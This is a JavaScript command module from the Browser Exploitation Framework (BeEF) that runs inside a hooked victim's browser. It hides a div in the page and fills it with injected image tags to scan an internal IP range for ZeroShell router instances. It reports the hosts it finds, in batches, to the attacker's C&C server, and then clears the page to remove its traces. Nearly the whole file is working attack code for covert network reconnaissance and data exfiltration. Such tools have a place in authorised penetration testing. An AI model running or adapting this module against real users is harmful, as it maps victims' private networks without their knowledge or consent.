//
// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

var imgPath 	= "/kerbynet/Zeroshell.gif";		// fingerprint img to detect a ZeroShell instance
var ip_start 	= '<%= @ip_start %>'; 			// IP start range
var ip_end 	= '<%= @ip_end %>';			// IP end range
var timeout 	= '<%= @timeout %>';			// Timeout in ms to wait beetween each bloc scan and results sent to BeEF C&C (default 30000ms)
var ip_bloc 	= '<%= @ip_bloc %>';			// Size of each IP bloc to scan (default 100)

// Function added to convert string IPv4 to long
function ip2long(IP) {
  //  discuss at: http://phpjs.org/functions/ip2long/
  //  original by: Waldo Malqui Silva (http://waldo.malqui.info)
  //  improved by: Victor
  //  revised by: fearphage (http://http/my.opera.com/fearphage/)
  //  revised by: Theriault
  //   example 1: ip2long('192.0.34.166');
  //   returns 1: 3221234342
  //   example 2: ip2long('0.0xABCDEF');
  //   returns 2: 11259375
  //   example 3: ip2long('255.255.255.256');
  //   returns 3: false

  var i = 0;
  // PHP allows decimal, octal, and hexadecimal IP components.
  // PHP allows between 1 (e.g. 127) to 4 (e.g 127.0.0.1) components.
  IP = IP.match(
    /^([1-9]\d*|0[0-7]*|0x[\da-f]+)(?:\.([1-9]\d*|0[0-7]*|0x[\da-f]+))?(?:\.([1-9]\d*|0[0-7]*|0x[\da-f]+))?(?:\.([1-9]\d*|0[0-7]*|0x[\da-f]+))?$/i
  ); // Verify IP format.
  if (!IP) {
    // Invalid format.
    return false;
  }
  // Reuse IP variable for component counter.
  IP[0] = 0;
  for (i = 1; i < 5; i += 1) {
    IP[0] += !! ((IP[i] || '')
      .length);
    IP[i] = parseInt(IP[i]) || 0;
  }
  // Continue to use IP for overflow values.
  // PHP does not allow any component to overflow.
  IP.push(256, 256, 256, 256);
  // Recalculate overflow of last component supplied to make up for missing components.
  IP[4 + IP[0]] *= Math.pow(256, 4 - IP[0]);
  if (IP[1] >= IP[5] || IP[2] >= IP[6] || IP[3] >= IP[7] || IP[4] >= IP[8]) {
    return false;
  }
  return IP[1] * (IP[0] === 1 || 16777216) + IP[2] * (IP[0] <= 2 || 65536) + IP[3] * (IP[0] <= 3 || 256) + IP[4] * 1;
}

// Function added to convert long to string IPv4
function long2ip(ip) {
  //  discuss at: http://phpjs.org/functions/long2ip/
  //  original by: Waldo Malqui Silva (http://waldo.malqui.info)
  //   example 1: long2ip( 3221234342 );
  //   returns 1: '192.0.34.166'
  if (!isFinite(ip))
    return false;
  return [ip >>> 24, ip >>> 16 & 0xFF, ip >>> 8 & 0xFF, ip & 0xFF].join('.');
}

var ip_from_long 	= ip2long(ip_start); 	// Convert string IPv4 start range to long
var ip_to_long 		= ip2long(ip_end);		// Convert string IPv4 end range to long

beef.execute(function() {
	var result 	= ""; // Buffer to retrieve results
	var div 	= document.createElement('div'); // Hidden div container
	div.setAttribute('style', 'display:none;');
	document.body.appendChild(div);

	add = function(data){
		result += data + " ";
	}

	// Scan function to inject <img> markups in victim's DOM.
	// This function is recalled by herself to scan each IP bloc of the IP range defined
	scan = function(){
		var i = 0; // Counter compared to IP bloc size
		var ip_from_long_bloc = ip_from_long; // Save the begining IPv4 address for the current bloc
		beef.debug("[ZeroShell_2.0RC2_scanner] Scan the subnet block from " + long2ip(ip_from_long) + " to " + long2ip(ip_to_long) + ".");
		while((ip_from_long <= ip_to_long) && (i < ip_bloc)){
			var img = document.createElement('img');
			var ip = long2ip(ip_from_long);
			img.setAttribute('src', "http://" + ip + imgPath); 	// Payload to detect ZeroShell instance
			img.setAttribute('onload', "add('" + ip + "');");	// Event triggered of ZeroShell is detected
			div.appendChild(img); // Add current <img> markup to the hidden div in the victim's DOM
			ip_from_long++; // Increment long IPv4
			i++;
		}
		var ip_to_long_bloc = ip_from_long; // Save the ending IPv4 address for the current bloc

		// Function to return results of the current bloc scanned to BeEF C&C, after "timeout" ms waited.
		getResult = function(){
			if(result.trim() != "")
				beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.are.status_success());
			else
				beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.are.status_unknown());
			div.innerHTML = ""; // Clean the current DOM's div
			result = ""; // Clear the result of the bloc tested for the next loop
		}
		setTimeout("getResult()", timeout); // Wait "timeout" ms before sending results to BeEF C&C of the current bloc.
		if(ip_from_long <= ip_to_long) // While we don't have test all IPv4 in the range
			setTimeout("scan()", timeout*1.5); // Re-call the scan() function to proceed with the next bloc
		else // We have reach the last IP address to scan
			setTimeout(function(){ // Clear the victim's DOM and tell to BeEF C&C that the scan is complete
				document.body.removeChild(div);
				beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.are.status_success());
			}, timeout*2);
	}

	scan(); // Run the first bloc scan
});
